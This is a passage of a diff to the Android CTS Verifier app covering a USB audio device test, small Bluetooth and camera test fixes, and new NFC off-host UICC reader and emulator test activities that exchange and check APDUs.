+                mUsbDeviceInReceived && mUsbDeviceOutReceived &&
+                mPlugIntentReceived;
+    }
+
+    //
+    // Devices
+    //
+    private void scanDevices(AudioDeviceInfo[] devices) {
+        mUsbHeadsetInInfo = mUsbHeadsetOutInfo =
+                mUsbDeviceInInfo = mUsbDeviceOutInfo = null;
+
+        for (AudioDeviceInfo devInfo : devices) {
+            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
+                if (devInfo.isSource()) {
+                    // [ 7.8 .2.2/H-4-3] MUST list a device of type AudioDeviceInfo.TYPE_USB_HEADSET
+                    // and role isSource() if the USB audio terminal type field is 0x0402.
+                    mUsbHeadsetInReceived = true;
+                    mUsbHeadsetInInfo = devInfo;
+                    getReportLog().addValue(
+                            "USB Headset connected - INPUT",
+                            0,
+                            ResultType.NEUTRAL,
+                            ResultUnit.NONE);
+                } else if (devInfo.isSink()) {
+                    // [ 7.8 .2.2/H-4-2] MUST list a device of type AudioDeviceInfo.TYPE_USB_HEADSET
+                    // and role isSink() if the USB audio terminal type field is 0x0402.
+                    mUsbHeadsetOutReceived = true;
+                    mUsbHeadsetOutInfo = devInfo;
+                    getReportLog().addValue(
+                            "USB Headset connected - OUTPUT",
+                            0,
+                            ResultType.NEUTRAL,
+                            ResultUnit.NONE);
+                }
+            } else if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE) {
+                if (devInfo.isSource()) {
+                    // [ 7.8 .2.2/H-4-5] MUST list a device of type AudioDeviceInfo.TYPE_USB_DEVICE
+                    // and role isSource() if the USB audio terminal type field is 0x604.
+                    mUsbDeviceInReceived = true;
+                    mUsbDeviceInInfo = devInfo;
+                    getReportLog().addValue(
+                            "USB Device connected - INPUT",
+                            0,
+                            ResultType.NEUTRAL,
+                            ResultUnit.NONE);
+                } else if (devInfo.isSink()) {
+                    // [ 7.8 .2.2/H-4-4] MUST list a device of type AudioDeviceInfo.TYPE_USB_DEVICE
+                    // and role isSink() if the USB audio terminal type field is 0x603.
+                    mUsbDeviceOutReceived = true;
+                    mUsbDeviceOutInfo = devInfo;
+                    getReportLog().addValue(
+                            "USB Headset connected - OUTPUT",
+                            0,
+                            ResultType.NEUTRAL,
+                            ResultUnit.NONE);
+                }
+            }
+
+            if (mUsbHeadsetInInfo != null &&
+                    mUsbHeadsetOutInfo != null &&
+                    mUsbDeviceInInfo != null &&
+                    mUsbDeviceOutInfo != null) {
+                break;
+            }
+        }
+
+
+        showConnectedDevices();
+        getPassButton().setEnabled(calculatePass());
+    }
+
+    private class ConnectListener extends AudioDeviceCallback {
+        /*package*/ ConnectListener() {}
+
+        //
+        // AudioDevicesManager.OnDeviceConnectionListener
+        //
+        @Override
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            Log.i(TAG, "onAudioDevicesAdded() num:" + addedDevices.length);
+
+            scanDevices(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+
+        @Override
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            Log.i(TAG, "onAudioDevicesRemoved() num:" + removedDevices.length);
+
+            scanDevices(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
+        }
+    }
+
+    // Intents
+    private class HeadsetPlugReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            reportPlugIntent(intent);
+        }
+    }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
index ee6342b..6dc84f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerService.java
@@ -315,6 +315,7 @@
                     if (mChatService != null) {
                         mChatService.stop();
                     }
+                    notifyDisconnected();
                     break;
                 default:
                     Log.e(TAG, "Error: Unhandled or invalid action=" + mCurrentAction);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
index ed711de..5d2bff7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
@@ -441,6 +441,8 @@
                         case STAGE_INTENT_PICTURE:
                         case STAGE_INTENT_PICTURE_SECURE:
                             handleIntentPictureResult();
+                            // No broadcast should be received. Proceed to update test result
+                            updateSuccessState();
                             break;
                         case STAGE_INTENT_VIDEO:
                             handleIntentVideoResult();
@@ -598,6 +600,11 @@
             mUriSuccess = false;
             mActionSuccess = false;
 
+            // Skip URI check for stages that should not receive intent
+            if (EXPECTED_INTENTS[stageIndex] == null) {
+                mUriSuccess = true;
+            }
+
             JobScheduler jobScheduler = (JobScheduler) getSystemService(
                     Context.JOB_SCHEDULER_SERVICE);
             jobScheduler.cancelAll();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
index cd739b5..36a10f4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
@@ -375,7 +375,7 @@
 
                     CameraCharacteristics physicalChar =
                             manager.getCameraCharacteristics(physicalId);
-                    hwLevel = characteristics.get(
+                    hwLevel = physicalChar.get(
                             CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL);
                     if (hwLevel == CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY ||
                             hwLevel ==
@@ -384,6 +384,18 @@
                         continue;
                     }
 
+                    int[] physicalActualCapabilities = physicalChar.get(
+                            CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+                    boolean physicalHaveBC = false;
+                    for (int capability : physicalActualCapabilities) {
+                        if (capability == BACKWARD_COMPAT) {
+                            physicalHaveBC = true;
+                            break;
+                        }
+                    }
+                    if (!physicalHaveBC) {
+                        continue;
+                    }
                     // To reduce duplicate tests, only additionally test hidden physical cameras
                     // with different focal length compared to the default focal length of the
                     // logical camera.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java
index c710490..9ddb5a0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NfcTestActivity.java
@@ -24,6 +24,8 @@
 import com.android.cts.verifier.nfc.hce.HceReaderTestActivity;
 import com.android.cts.verifier.nfc.hcef.HceFEmulatorTestActivity;
 import com.android.cts.verifier.nfc.hcef.HceFReaderTestActivity;
+import com.android.cts.verifier.nfc.offhost.OffhostUiccEmulatorTestActivity;
+import com.android.cts.verifier.nfc.offhost.OffhostUiccReaderTestActivity;
 
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -97,6 +99,16 @@
                     new Intent(this, HceFEmulatorTestActivity.class), null));
         }
 
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC_OFF_HOST_CARD_EMULATION_UICC)) {
+            adapter.add(TestListItem.newCategory(this, R.string.nfc_offhost_uicc));
+            adapter.add(TestListItem.newTest(this, R.string.nfc_offhost_uicc_reader_tests,
+                    OffhostUiccReaderTestActivity.class.getName(),
+                    new Intent(this, OffhostUiccReaderTestActivity.class), null));
+            adapter.add(TestListItem.newTest(this, R.string.nfc_offhost_uicc_emulator_tests,
+                    OffhostUiccEmulatorTestActivity.class.getName(),
+                    new Intent(this, OffhostUiccEmulatorTestActivity.class), null));
+        }
+
         setTestListAdapter(adapter);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceUtils.java
index 698948b..a324a4e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceUtils.java
@@ -25,6 +25,9 @@
     public static final String LARGE_NUM_AIDS_PREFIX = "F00102030414";
     public static final String LARGE_NUM_AIDS_POSTFIX ="81";
 
+    public static final String TRANSACTION_EVENT_AID = "A000000476416E64726F696443545341";
+    public static final String HCI_CMD = "0025000000";
+
     public static void enableComponent(PackageManager pm, ComponentName component) {
         pm.setComponentEnabledSetting(
                 component,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/OffhostUiccEmulatorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/OffhostUiccEmulatorTestActivity.java
new file mode 100644
index 0000000..119a63b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/OffhostUiccEmulatorTestActivity.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.offhost;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.nfc.NfcAdapter;
+import android.nfc.cardemulation.CardEmulation;
+import android.os.Bundle;
+
+/** Activity that lists all the NFC Offhost-UICC emulator tests. */
+public class OffhostUiccEmulatorTestActivity extends PassFailButtons.TestListActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.pass_fail_list);
+        setInfoResources(R.string.nfc_test, R.string.nfc_offhost_uicc_emulator_test_info, 0);
+        setPassFailButtonClickListeners();
+
+        ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
+
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC_OFF_HOST_CARD_EMULATION_UICC)) {
+            adapter.add(TestListItem.newCategory(this, R.string.nfc_offhost_uicc_emulator_tests));
+
+            adapter.add(TestListItem.newTest(this, R.string.nfc_offhost_uicc_transaction_event1_emulator,
+                    UiccTransactionEvent1EmulatorActivity.class.getName(),
+                    new Intent(this, UiccTransactionEvent1EmulatorActivity.class), null));
+
+            adapter.add(TestListItem.newTest(this, R.string.nfc_offhost_uicc_transaction_event2_emulator,
+                    UiccTransactionEvent2EmulatorActivity.class.getName(),
+                    new Intent(this, UiccTransactionEvent2EmulatorActivity.class), null));
+
+            adapter.add(TestListItem.newTest(this, R.string.nfc_offhost_uicc_transaction_event3_emulator,
+                    UiccTransactionEvent3EmulatorActivity.class.getName(),
+                    new Intent(this, UiccTransactionEvent3EmulatorActivity.class), null));
+
+        }
+
+        setTestListAdapter(adapter);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/OffhostUiccReaderTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/OffhostUiccReaderTestActivity.java
new file mode 100644
index 0000000..09db107
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/OffhostUiccReaderTestActivity.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.offhost;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.nfc.NfcAdapter;
+import android.nfc.cardemulation.CardEmulation;
+import android.os.Bundle;
+
+/** Activity that lists all the NFC Offhost-UICC reader tests. */
+public class OffhostUiccReaderTestActivity extends PassFailButtons.TestListActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.pass_fail_list);
+        setInfoResources(R.string.nfc_test, R.string.nfc_offhost_uicc_reader_test_info, 0);
+        setPassFailButtonClickListeners();
+
+        ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
+
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC_OFF_HOST_CARD_EMULATION_UICC)) {
+            adapter.add(TestListItem.newCategory(this, R.string.nfc_offhost_uicc_reader_tests));
+
+            adapter.add(TestListItem.newTest(this, R.string.nfc_offhost_uicc_transaction_event1_reader,
+                    getString(R.string.nfc_offhost_uicc_transaction_event1_reader),
+                    UiccTransactionEvent1EmulatorActivity.buildReaderIntent(this), null));
+
+            adapter.add(TestListItem.newTest(this, R.string.nfc_offhost_uicc_transaction_event2_reader,
+                    getString(R.string.nfc_offhost_uicc_transaction_event2_reader),
+                    UiccTransactionEvent2EmulatorActivity.buildReaderIntent(this), null));
+
+            adapter.add(TestListItem.newTest(this, R.string.nfc_offhost_uicc_transaction_event3_reader,
+                    getString(R.string.nfc_offhost_uicc_transaction_event3_reader),
+                    UiccTransactionEvent3EmulatorActivity.buildReaderIntent(this), null));
+
+        }
+
+        setTestListAdapter(adapter);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java
new file mode 100644
index 0000000..1856601
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/SimpleOffhostReaderActivity.java
@@ -0,0 +1,223 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.offhost;
+
+import android.annotation.TargetApi;
+import android.app.AlertDialog;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.nfc.NfcAdapter;
+import android.nfc.NfcAdapter.ReaderCallback;
+import android.nfc.tech.IsoDep;
+import android.nfc.Tag;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.util.Log;
+import android.view.View;
+import android.widget.AdapterView;
+import android.widget.AdapterView.OnItemSelectedListener;
+import android.widget.ArrayAdapter;
+import android.widget.Spinner;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+import java.util.Arrays;
+
+import com.android.cts.verifier.nfc.hce.HceUtils;
+import com.android.cts.verifier.nfc.hce.CommandApdu;
+
+public class SimpleOffhostReaderActivity extends PassFailButtons.Activity implements ReaderCallback,
+        OnItemSelectedListener {
+    public static final String PREFS_NAME = "OffhostTypePrefs";
+
+    public static final String TAG = "SimpleOffhostReaderActivity";
+    public static final String EXTRA_APDUS = "apdus";
+    public static final String EXTRA_RESPONSES = "responses";
+    public static final String EXTRA_LABEL = "label";
+    public static final String EXTRA_DESELECT = "deselect";
+
+    NfcAdapter mAdapter;
+    CommandApdu[] mApdus;
+    String[] mResponses;
+    String mLabel;
+    boolean mDeselect;
+
+    TextView mTextView;
+    Spinner mSpinner;
+    SharedPreferences mPrefs;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.nfc_hce_reader);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mLabel = getIntent().getStringExtra(EXTRA_LABEL);
+        mDeselect = getIntent().getBooleanExtra(EXTRA_DESELECT, false);
+        setTitle(mLabel);
+
+        mAdapter = NfcAdapter.getDefaultAdapter(this);
+        mTextView = (TextView) findViewById(R.id.text);
+        mTextView.setTextSize(12.0f);
+        mTextView.setText(R.string.nfc_offhost_uicc_type_selection);
+
+        Spinner spinner = (Spinner) findViewById(R.id.type_ab_selection);
+        ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(this,
+                R.array.nfc_types_array, android.R.layout.simple_spinner_item);
+        adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
+        spinner.setAdapter(adapter);
+        spinner.setOnItemSelectedListener(this);
+
+        mPrefs = getSharedPreferences(PREFS_NAME, 0);
+        boolean isTypeB = mPrefs.getBoolean("typeB", false);
+        if (isTypeB) {
+            spinner.setSelection(1);
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        mAdapter.enableReaderMode(this, this, NfcAdapter.FLAG_READER_NFC_A |
+                NfcAdapter.FLAG_READER_NFC_BARCODE | NfcAdapter.FLAG_READER_SKIP_NDEF_CHECK, null);
+        Intent intent = getIntent();
+        Parcelable[] apdus = intent.getParcelableArrayExtra(EXTRA_APDUS);
+        if (apdus != null) {
+            mApdus = new CommandApdu[apdus.length];
+            for (int i = 0; i < apdus.length; i++) {
+                mApdus[i] = (CommandApdu) apdus[i];
+            }
+        } else {
+            mApdus = null;
+        }
+        mResponses = intent.getStringArrayExtra(EXTRA_RESPONSES);
+    }
+
+    @Override
+    public void onTagDiscovered(Tag tag) {
+        final StringBuilder sb = new StringBuilder();
+        IsoDep isoDep = IsoDep.get(tag);
+        if (isoDep == null) {
+            // TODO dialog box
+            return;
+        }
+
+        try {
+            isoDep.connect();
+            isoDep.setTimeout(5000);
+            int count = 0;
+            boolean success = true;
+            long startTime = System.currentTimeMillis();
+            for (CommandApdu apdu: mApdus) {
+                sb.append("Request APDU:\n");
+                sb.append(apdu.getApdu() + "\n\n");
+                long apduStartTime = System.currentTimeMillis();
+                byte[] response = isoDep.transceive(HceUtils.hexStringToBytes(apdu.getApdu()));
+                long apduEndTime = System.currentTimeMillis();
+                sb.append("Response APDU (in " + Long.toString(apduEndTime - apduStartTime) +
+                        " ms):\n");
+                sb.append(HceUtils.getHexBytes(null, response));
+
+                sb.append("\n\n\n");
+                boolean wildCard = "*".equals(mResponses[count]);
+                byte[] expectedResponse = HceUtils.hexStringToBytes(mResponses[count]);
+                Log.d(TAG, HceUtils.getHexBytes("APDU response: ", response));
+                if (!wildCard && !Arrays.equals(response, expectedResponse)) {
+                    Log.d(TAG, "Unexpected APDU response: " + HceUtils.getHexBytes("", response));
+                    success = false;
+                    break;
+                }
+                count++;
+            }
+
+            if (mDeselect) {
+                mAdapter.disableReaderMode(this);
+            }
+
+            if (success) {
+                sb.insert(0, "Total APDU exchange time: " +
+                        Long.toString(System.currentTimeMillis() - startTime) + " ms.\n\n");
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        mTextView.setText(sb.toString());
+                        getPassButton().setEnabled(true);
+                    }
+                });
+            } else {
+                sb.insert(0, "FAIL. Total APDU exchange time: " +
+                        Long.toString(System.currentTimeMillis() - startTime) + " ms.\n\n");
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        mTextView.setText(sb.toString());
+                        AlertDialog.Builder builder = new AlertDialog.Builder(SimpleOffhostReaderActivity.this);
+                        builder.setTitle("Test failed");
+                        builder.setMessage("An unexpected response APDU was received, or no APDUs were received at all.");
+                        builder.setPositiveButton("OK", null);
+                        builder.show();
+                    }
+                });
+            }
+
+        } catch (IOException e) {
+            sb.insert(0, "Error while reading: (did you keep the devices in range?)\nPlease try again\n.");
+            runOnUiThread(new Runnable() {
+                @Override
+                public void run() {
+                    mTextView.setText(sb.toString());
+                }
+            });
+        } finally {
+        }
+    }
+
+    @Override
+    public void onItemSelected(AdapterView<?> parent, View view, int position,
+            long id) {
+        if (position == 0) {
+            // Type-A
+            mAdapter.disableReaderMode(this);
+            mAdapter.enableReaderMode(this, this, NfcAdapter.FLAG_READER_NFC_A |
+                NfcAdapter.FLAG_READER_NFC_BARCODE | NfcAdapter.FLAG_READER_SKIP_NDEF_CHECK, null);
+            SharedPreferences.Editor editor = mPrefs.edit();
+            editor.putBoolean("typeB", false);
+            editor.commit();
+        } else {
+            // Type-B
+            mAdapter.disableReaderMode(this);
+            mAdapter.enableReaderMode(this, this, NfcAdapter.FLAG_READER_NFC_B |
+                    NfcAdapter.FLAG_READER_SKIP_NDEF_CHECK, null);
+            SharedPreferences.Editor editor = mPrefs.edit();
+            editor.putBoolean("typeB", true);
+            editor.commit();
+        }
+    }
+
+    @Override
+    public void onNothingSelected(AdapterView<?> parent) {
+    }
+
+    @Override
+    public String getTestId() {
+        return mLabel;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
new file mode 100644
index 0000000..037dd7f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.offhost;
+
+import android.annotation.TargetApi;
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.app.ProgressDialog;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.nfc.NfcAdapter;
+import android.nfc.cardemulation.CardEmulation;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.TextView;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import com.android.cts.verifier.nfc.hce.HceUtils;
+
+public class UiccTransactionEvent1EmulatorActivity extends PassFailButtons.Activity {
+    static final String TAG = "UiccTransactionEvent1EmulatorActivity";
+
+    TextView mTextView;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.pass_fail_text);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mTextView = (TextView) findViewById(R.id.text);
+        mTextView.setTextSize(12.0f);
+        mTextView.setText(R.string.nfc_offhost_uicc_transaction_event_emulator_help);
+
+        initProcess();
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+
+        setContentView(R.layout.pass_fail_text);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mTextView = (TextView) findViewById(R.id.text);
+        mTextView.setTextSize(12.0f);
+
+        setIntent(intent);
+        initProcess();
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+    }
+
+    public static Intent buildReaderIntent(Context context) {
+        Intent readerIntent = new Intent(context, SimpleOffhostReaderActivity.class);
+        readerIntent.putExtra(SimpleOffhostReaderActivity.EXTRA_APDUS,
+                UiccTransactionEvent1Service.APDU_COMMAND_SEQUENCE);
+        readerIntent.putExtra(SimpleOffhostReaderActivity.EXTRA_RESPONSES,
+                UiccTransactionEvent1Service.APDU_RESPOND_SEQUENCE);
+        readerIntent.putExtra(SimpleOffhostReaderActivity.EXTRA_LABEL,
+                context.getString(R.string.nfc_offhost_uicc_transaction_event1_reader));
+        return readerIntent;
+    }
+
+    private void initProcess() {
+
+        Bundle bundle = getIntent().getExtras();
+        if(bundle != null){
+            byte[] transactionData = bundle.getByteArray(NfcAdapter.EXTRA_DATA);
+            if(transactionData != null){
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        mTextView.setText("Pass - NFC Action:" + getIntent().getAction() + " uri:" + getIntent().getDataString()
+                            + " data:" + HceUtils.getHexBytes(null, transactionData));
+                        getPassButton().setEnabled(true);
+                    }
+                });
+            } else {
+                runOnUiThread(new Runnable() {
+                    @Override
+                    public void run() {
+                        mTextView.setText("Fail - Action:" + getIntent().getAction() + " uri:" + getIntent().getDataString()
+                            + " data: null");
+                        getPassButton().setEnabled(false);
+                    }
+                });
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1Service.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1Service.java
new file mode 100644
index 0000000..5a1fd86
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1Service.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.offhost;
+
+import android.content.ComponentName;
+
+import com.android.cts.verifier.nfc.hce.HceUtils;
+import com.android.cts.verifier.nfc.hce.CommandApdu;
+
+public class UiccTransactionEvent1Service {
+    public static final ComponentName COMPONENT =
+            new ComponentName("com.android.cts.verifier",
+                    UiccTransactionEvent1Service.class.getName());
+
+    public static final CommandApdu[] APDU_COMMAND_SEQUENCE = {
+        HceUtils.buildSelectApdu(HceUtils.TRANSACTION_EVENT_AID, true),
+    };
+
+    public static final String[] APDU_RESPOND_SEQUENCE = {
+        "9000",
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
new file mode 100644
index 0000000..6f257af
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.offhost;
+
+import android.annotation.TargetApi;
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.app.ProgressDialog;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.nfc.NfcAdapter;
+import android.nfc.cardemulation.CardEmulation;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.TextView;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import com.android.cts.verifier.nfc.hce.HceUtils;
+
+public class UiccTransactionEvent2EmulatorActivity extends PassFailButtons.Activity {
+    static final String TAG = "UiccTransactionEvent2EmulatorActivity";
+
+    TextView mTextView;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.pass_fail_text);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mTextView = (TextView) findViewById(R.id.text);
+        mTextView.setTextSize(12.0f);
+        mTextView.setText(R.string.nfc_offhost_uicc_transaction_event_emulator_help);
+
+        initProcess();
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+
+        setContentView(R.layout.pass_fail_text);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mTextView = (TextView) findViewById(R.id.text);
+        mTextView.setTextSize(12.0f);
+
+        setIntent(intent);
+        initProcess();
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+    }
